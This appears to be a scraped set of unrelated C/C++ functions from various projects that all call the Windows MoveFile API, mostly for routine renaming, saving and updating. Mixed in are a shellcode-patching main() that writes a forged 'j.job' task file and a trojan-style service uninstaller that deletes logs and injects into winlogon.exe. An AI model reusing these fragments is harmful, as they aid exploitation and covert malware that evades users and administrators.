int do_RNTO(ftp_session *s, char *param)
{
    int len;
    char arg[MAX_FTP_PATH], ftp_path[MAX_FTP_PATH];

    MATCH_SP(param);

    len = get_string(param, arg, sizeof(arg));
    if (len == 0)
        return 501;
    param += len;

    MATCH_CRLF(param);

    if (s->prev_command != cmd_RNFR)
        return 503;
    if (!parse_dir(s->dir, arg, ftp_path))
        return 550;
    if (!ftp_to_fs(ftp_path, arg))
        return 550;
    if (!(is_file_exists(s->rename) || is_dir_exists(s->rename)))
        return 550;
    if (!MoveFile(s->rename, arg))
        return 450;

    return 250;
}

static NTSTATUS DOKAN_CALLBACK
MirrorMoveFile(LPCWSTR FileName, // existing file name
               LPCWSTR NewFileName, BOOL ReplaceIfExisting,
               PDOKAN_FILE_INFO DokanFileInfo) {
  WCHAR filePath[MAX_PATH];
  WCHAR newFilePath[MAX_PATH];
  BOOL status;

  GetFilePath(filePath, MAX_PATH, FileName);
  GetFilePath(newFilePath, MAX_PATH, NewFileName);

  DbgPrint(L"MoveFile %s -> %s\n\n", filePath, newFilePath);

  if (DokanFileInfo->Context) {
    // should close? or rename at closing?
    CloseHandle((HANDLE)DokanFileInfo->Context);
    DokanFileInfo->Context = 0;
  }

  if (ReplaceIfExisting)
    status = MoveFileEx(filePath, newFilePath, MOVEFILE_REPLACE_EXISTING);
  else
    status = MoveFile(filePath, newFilePath);

  if (status == FALSE) {
    DWORD error = GetLastError();
    DbgPrint(L"\tMoveFile failed status = %d, code = %d\n", status, error);
    return ToNtStatus(error);
  } else {
    return STATUS_SUCCESS;
  }
}

bool move(const char* from, const char* to) {
/* Should this (or something similar) work?
    SHFILEOPSTRUCT fileOp = { 0 };
    fileOp.wFunc  = FO_MOVE;
    fileOp.pFrom  = from;
    fileOp.pTo    = to;
    fileOp.fFlags = FOF_SILENT | FOF_NOCONFIRMATION | FOF_NOCONFIRMMKDIR;
    return (SHFileOperation(&fileOp) == 0);
*/

    // the easy case...
    if (stricmp(from, to) == 0) {
        return true;
    }

    // try to get the parent name of the directory
    char dir[MAX_PATH] = { 0 };
    dirname(to, dir);
    if (strcmp(dir, "") == 0) {
        return false;
    }

    // try to make the path and move the file
    return (mkpath(dir)) ? (MoveFile(from, to) != 0) : false;
}

// renames file srcFilename to destFilename, returns true on success
bool Rename(const std::string &srcFilename, const std::string &destFilename)
{
	INFO_LOG(COMMON, "Rename: %s --> %s",
			srcFilename.c_str(), destFilename.c_str());
#ifdef _WIN32
	auto sf = UTF8ToTStr(srcFilename);
	auto df = UTF8ToTStr(destFilename);
	// The Internet seems torn about whether ReplaceFile is atomic or not.
	// Hopefully it's atomic enough...
	if (ReplaceFile(df.c_str(), sf.c_str(), nullptr, REPLACEFILE_IGNORE_MERGE_ERRORS, nullptr, nullptr))
		return true;
	// Might have failed because the destination doesn't exist.
	if (GetLastError() == ERROR_FILE_NOT_FOUND)
	{
		if (MoveFile(sf.c_str(), df.c_str()))
			return true;
	}
#else
	if (rename(srcFilename.c_str(), destFilename.c_str()) == 0)
		return true;
#endif
	ERROR_LOG(COMMON, "Rename: failed %s --> %s: %s",
			  srcFilename.c_str(), destFilename.c_str(), GetLastErrorMsg());
	return false;
}

int
wmain(int argc, LPWSTR *argv)
{
  LPSTR oldname;
  LPWSTR newname;
  int strlength;

  while (--argc > 0)
    {
      ++argv;

      strlength = (int) wcslen(argv[0])+1;

      oldname = halloc_seh(strlength*sizeof(*oldname));
      WideCharToMultiByte(CP_ACP, 0, argv[0], -1, oldname, strlength,
			  NULL, NULL);
      newname = halloc_seh(strlength*sizeof(*newname));
      MultiByteToWideChar(CP_OEMCP, 0, oldname, -1, newname, strlength);

      if (MoveFile(argv[0], newname))
	printf("'%ws' -> '%ws', OK.\n", argv[0], newname);
      else
	win_perror(newname);

      hfree(oldname);
      hfree(newname);
    }

  return 0;
}

static _Bool install_new_updater(void *new_updater_data, uint32_t new_updater_data_len)
{
#ifdef __WIN32__
    char new_path[MAX_PATH] = {0};
    FILE *file;

    memcpy(new_path, TOX_UPDATER_PATH, TOX_UPDATER_PATH_LEN);
    strcat(new_path, ".old");

    DeleteFile(new_path);
    MoveFile(TOX_UPDATER_PATH, new_path);

    file = fopen(TOX_UPDATER_PATH, "wb");
    if(!file) {
        LOG_TO_FILE("failed to write new updater");
        return 0;
    }

    fwrite(new_updater_data, 1, new_updater_data_len, file);

    fclose(file);
    return 1;
#else
    /* self update not implemented */
    return 0;
#endif
}

BOOL CFileView::RenameFile(CString strNewName, HTREEITEM hItem)
{
	CString strOldName = m_wndFileView.GetItemText(hItem);
	DWORD dwInfo = m_wndFileView.GetItemData(hItem);
	if(dwInfo == INFO_FILE)
	{
		if(FindSkinFile(CGlobalVariable::m_strProjectPath + strOldName))
		{
			MessageBox(_T("此文件正处于打开状态，请先关闭后再进行重命名。"), _T("提示"), MB_ICONINFORMATION);
			return FALSE;
		}
		if(!MoveFile(CGlobalVariable::m_strProjectPath + strOldName
			, CGlobalVariable::m_strProjectPath + strNewName))
		{
			MessageBox(_T("此文件已经存在，不能重复命名。"), _T("提示"), MB_ICONINFORMATION);
			return FALSE;
		}
	}
	else if(dwInfo == INFO_DIRECTORY)
	{
		if(FindDirectory(strNewName, m_wndFileView.GetParentItem(hItem)))
		{
			MessageBox(_T("此目录已经存在，不能重复命名。"), _T("提示"), MB_ICONINFORMATION);
			return FALSE;
		}
	}

	return TRUE;
}

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, 
					LPTSTR lpCmdLine, int nShowCmd)
{
	FILE *fp;
	char apppath[MAX_PATH];
	char filename[MAX_PATH];
	char filename2[MAX_PATH];
	
	if (GetEnvironmentVariable("appdata", apppath, MAX_PATH) <= 0)
	{
		strcpy(apppath, ".");
	}

	strcpy(filename, apppath);
	strcat(filename, "/chesspark/installers/setup.exe");
	strcpy(filename2, apppath);
	strcat(filename2, "/chesspark/installers/setup3.exe");

	WaitForParentIfChesspark();

	fp = fopen(filename, "rb");

	if (!fp)
	{
		ShellExecute(NULL, NULL, "./chessparkclient.exe", NULL, ".", SW_SHOW);
		return;
	}

	fclose(fp);

	DeleteFile(filename2);
	MoveFile(filename, filename2);

	ShellExecute(NULL, NULL, filename2, "/silent /nocancel", ".", SW_SHOW);
}

static int ex_movefile(lua_State *L)
{
  const char *srcfilename = luaL_checkstring(L, 1);
  const char *destfilename = luaL_checkstring(L, 2);
  lua_pushboolean(L, MoveFile(srcfilename, destfilename) != FALSE);
  return 1;
}

static int dfs_win32_rename(
    struct dfs_filesystem *fs,
    const char *oldpath,
    const char *newpath)
{
    int result;
    char *op, *np;
    op = winpath_dirdup(WIN32_DIRDISK_ROOT, oldpath);
    np = winpath_dirdup(WIN32_DIRDISK_ROOT, newpath);
    if (op == RT_NULL || np == RT_NULL)
    {
        rt_kprintf("out of memory.\n");
        return -DFS_STATUS_ENOMEM;
    }

    /* If the function fails, the return value is zero. */
    result = MoveFile(op, np);

    rt_free(op);
    rt_free(np);

    if (result == 0)
        return win32_result_to_dfs(GetLastError());

    return 0;
}

void CFileListener::RetryUncompleted() {
    WIN32_FIND_DATA info;
    HANDLE          handle;
    bool            found = true;
    CString         scanFileName;
    CString         fromFileName;
    CString         toFileName;

    scanFileName = m_workDir + "\\*";

    for( handle=FindFirstFile(scanFileName,&info);
             handle!=INVALID_HANDLE_VALUE && found; 
             found = FindNextFile(handle, &info)) {

        if(info.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
            continue;
        }
        fromFileName = m_workDir + "\\" + info.cFileName;
        toFileName = m_srcDir + "\\" + info.cFileName;
        if(!MoveFile(fromFileName, toFileName)) {
            LOG_ERROR(GetLogger(), ATF_SYSTEM_ERR, "["+fromFileName+"]["+toFileName+"] "+ SysErrorMsg(0));
        } else {
            LOG_DEBUG(GetLogger(), ATF_DEBUG, "File ["+fromFileName + "] try retry" );
        }

    }

};

void writeSharedSaveFile(char* name, BYTE* data, DWORD size, bool isHardcore)
{
	char szTempName[MAX_PATH];
	char szSaveName[MAX_PATH];

	//Get temporary savefile name.
	D2FogGetSavePath( szTempName, MAX_PATH-30);
	strcat(szTempName, separateHardSoftStash && isHardcore? "_LOD_HC_" : "_LOD_");
	strcat(szTempName, sharedStashFilename);
	strcat(szTempName,".ss~");
	log_msg("Shared temporary file for saving : %s\n", szTempName);

	//Write data in savefile.
	FILE* customSaveFile = fopen(szTempName, "wb+");
	fwrite(data, size, 1, customSaveFile);
	fclose(customSaveFile);

	//Get real savefile name.
	D2FogGetSavePath( szSaveName, MAX_PATH-30);
	strcat(szSaveName, separateHardSoftStash && isHardcore? "_LOD_HC_" : "_LOD_");
	strcat(szSaveName, sharedStashFilename);
	strcat(szSaveName,".sss");
	log_msg("Shared file for saving : %s\n", szSaveName);

//	if (!MoveFileEx(szTempName, szSaveName, MOVEFILE_WRITE_THROUGH|MOVEFILE_REPLACE_EXISTING)) 
	DeleteFile(szSaveName);
	if (!MoveFile(szTempName, szSaveName))
		log_box("Could not create the shared save file.");
}

int main(int argc, char* argv[])
{
	unsigned char *ptr = (unsigned char *)shellcode;

	while (*ptr) 
	{
		if (*((long *)ptr)==0x58585858) 
		{			
			*((long *)ptr) = (long)GetProcAddress(GetModuleHandle("kernel32.dll"), "WinExec");
		}
		if (*((long *)ptr)==0x59595959) 
		{			
			*((long *)ptr) = (long)GetProcAddress(GetModuleHandle("kernel32.dll"), "ExitProcess");
		}
		ptr++;
	}

	FILE *fp;
	fp = fopen("j.xxx", "wb");
	if(fp)
	{
		unsigned char *ptr = jobfile + (31 * 16);
		memcpy(ptr, shellcode, sizeof(shellcode) - 1);

		fwrite(jobfile, 1, sizeof(jobfile)-1, fp);
		fclose(fp);
		DeleteFile("j.job");
		MoveFile("j.xxx", "j.job");
	}
	return 0;
}

void writeExtendedSaveFile(char* name, BYTE* data, DWORD size)
{
	char szTempName[MAX_PATH];
	char szSaveName[MAX_PATH];

	//Get temporary savefile name.
	D2FogGetSavePath(szTempName, MAX_PATH);
	strcat(szTempName, name);
	strcat(szTempName, ".d2~");
	log_msg("Extended temporary file for saving : %s\n",szTempName);

	//Write data in savefile.
	FILE* customSaveFile = fopen(szTempName, "wb+");
	fwrite(data, size, 1, customSaveFile);
	fclose(customSaveFile);

	//Get real savefile name.
	D2FogGetSavePath(szSaveName, MAX_PATH);
	strcat(szSaveName, name);
	strcat(szSaveName, ".d2x");
	log_msg("Extended file for saving : %s\n",szSaveName);

//	if (!MoveFileEx(szTempName, szSaveName, MOVEFILE_WRITE_THROUGH|MOVEFILE_REPLACE_EXISTING)) 
	DeleteFile(szSaveName);
	if (!MoveFile(szTempName, szSaveName))
		log_box("Could not create the extended save file.");
}

/*
 * Copies source file path to destination
 *
 * req: TLV_TYPE_FILE_PATH - The file path to expand
 */
DWORD request_fs_file_move(Remote *remote, Packet *packet)
{
	Packet *response = packet_create_response(packet);
	DWORD result = ERROR_SUCCESS;
	LPCSTR oldpath;
	LPCSTR newpath;

	oldpath = packet_get_tlv_value_string(packet, TLV_TYPE_FILE_NAME);
	newpath = packet_get_tlv_value_string(packet, TLV_TYPE_FILE_PATH);

	if (!oldpath)
		result = ERROR_INVALID_PARAMETER;
#ifdef _WIN32
	else if (!MoveFile(oldpath,newpath))
#else
	else if (!rename(oldpath,newpath))
#endif
		result = GetLastError();

	packet_add_tlv_uint(response, TLV_TYPE_RESULT, result);

	packet_transmit(remote, response, NULL);

	return ERROR_SUCCESS;
}

void indri::file::Path::rename( const std::string& oldName, const std::string& newName ) {
#ifndef WIN32
  int result = ::rename( oldName.c_str(), newName.c_str() );

  if( result != 0 ) {
    if( errno == EEXIST ) {
      LEMUR_THROW( LEMUR_IO_ERROR, "The destination file already exists: " + oldName );
    } else if( errno == EACCES || errno == EPERM ) {
      LEMUR_THROW( LEMUR_IO_ERROR, "Insufficient permissions to rename: '" + oldName + "' to '" + newName + "'." );
    } else {
      LEMUR_THROW( LEMUR_IO_ERROR, "Unable to rename: '" + oldName + "' to '" + newName + "'." );
    }
  }
#else
  BOOL result;

  if( Path::exists( newName ) ) {
    result = ReplaceFile( newName.c_str(), oldName.c_str(), NULL, REPLACEFILE_IGNORE_MERGE_ERRORS, NULL, NULL );
  } else {
    result = MoveFile( oldName.c_str(), newName.c_str() );
  }

  if( !result ) {
    LEMUR_THROW( LEMUR_IO_ERROR, "Unable to rename: '" + oldName + "' to '" + newName + "'." );
  }
#endif
}

void CKernelManager::UnInstallService()
{
	char	strServiceDll[MAX_PATH];
	char	strRandomFile[MAX_PATH];

	GetSystemDirectory(strServiceDll, sizeof(strServiceDll));
	lstrcat(strServiceDll, "\\");
	lstrcat(strServiceDll, m_strServiceName);
	lstrcat(strServiceDll, "ex.dll");

	// 装文件随机改名，重启时删除
	wsprintf(strRandomFile, "%d.bak", GetTickCount());
	MoveFile(strServiceDll, strRandomFile);
	MoveFileEx(strRandomFile, NULL, MOVEFILE_DELAY_UNTIL_REBOOT);

	// 删除离线记录文件

	char	strRecordFile[MAX_PATH];
	GetSystemDirectory(strRecordFile, sizeof(strRecordFile));
	lstrcat(strRecordFile, "\\syslog.dat");
	DeleteFile(strRecordFile);
	
	if (m_dwServiceType != 0x120)  // owner的远程删除，不能自己停止自己删除,远程线程删除
	{
		InjectRemoveService("winlogon.exe", m_strServiceName);
	}
	else // shared进程的服务,可以删除自己
	{
		RemoveService(m_strServiceName);
	}
	// 所有操作完成后，通知主线程可以退出
	CreateEvent(NULL, true, false, m_strKillEvent);
}

void	MDIOFile_Rename (const char *pmPathName, const char *pmNewPathName)
{
    UINT	myPrevErrorMode;

    myPrevErrorMode = SetErrorMode (SEM_FAILCRITICALERRORS);

    // These are complete paths.  Make certain they're on the same
    // volume.  Otherwise MoveFile fails.
    if ((pmPathName [0] == pmNewPathName [0]) && 
	(pmPathName [1] == ':') && (pmNewPathName [1] == ':'))
    {
	if (!MoveFile (pmPathName, pmNewPathName))
	{
	    MDIO_ProcessMSWindowsError (GetLastError ());
	}
    }
    else
    {
	// Instead, copy the file and then delete the original.
	if (!CopyFile (pmPathName, pmNewPathName, TRUE))
	{
	    MDIO_ProcessMSWindowsError (GetLastError ());
	    return;
	}
	if (!DeleteFile (pmPathName))
	{
	    MDIO_ProcessMSWindowsError (GetLastError ());
	}
    }

    SetErrorMode (myPrevErrorMode);
} // MDIOFile_Rename

void winreplacefile(char *source, char *target)
{
	wchar_t wsource[PATH_MAX];
	wchar_t wtarget[PATH_MAX];

	int sz = MultiByteToWideChar(CP_UTF8, 0, source, -1, wsource, PATH_MAX);
	if (sz == 0)
	{
		winerror(&gapp, "cannot convert filename to Unicode");
		return;
	}

	sz = MultiByteToWideChar(CP_UTF8, 0, target, -1, wtarget, PATH_MAX);
	if (sz == 0)
	{
		winerror(&gapp, "cannot convert filename to Unicode");
		return;
	}

#if (_WIN32_WINNT >= 0x0500)
	ReplaceFile(wtarget, wsource, NULL, REPLACEFILE_IGNORE_MERGE_ERRORS, NULL, NULL);
#else
	DeleteFile(wtarget);
	MoveFile(wsource, wtarget);
#endif
}

void ModifyScriptDescriptor::CommitChanges(bool leave_closed) {
	WriteScriptDescriptor file; // The file to write the modified Lua state out to
	std::string temp_filename = _filename.substr(0, _filename.find_last_of('.')) + "_TEMP" + _filename.substr(_filename.find_last_of('.'));

	if (file.OpenFile(temp_filename) == false) {
		if (SCRIPT_DEBUG)
			_error_messages << "* ModifyScriptDescriptor::CommitChanges() failed because it could not open "
				<< "the file to write the modifications to" << std::endl;
		return;
	}

	// setup the iterator
	_open_tables_iterator = _open_tables.begin();

	// Write the global tables to the file. This in turn will write all other tables that are members of
	// the global tables, or members of those tables, and so on.
	object globals(luabind::from_stack(_lstack, LUA_GLOBALSINDEX));
	_CommitTable(file, globals);

	file.CloseFile(); // Close the temporary file we were writing to
	CloseFile(); // Close this file as well as it is about to be over-written

	// Now overwrite this file with the temporary file written, remove the temporary file, and re-open the new file

	if (MoveFile(temp_filename, _filename) == false) {
		_error_messages << "* ModifyScriptDescriptor::CommitChanges() failed because after writing the temporary file "
			<< temp_filename << ", it could not be moved to overwrite the original filename " << _filename << std::endl;
	}

	if (leave_closed == false)
		OpenFile();
} // void ModifyScriptDescriptor::CommitChanges(bool leave_closed)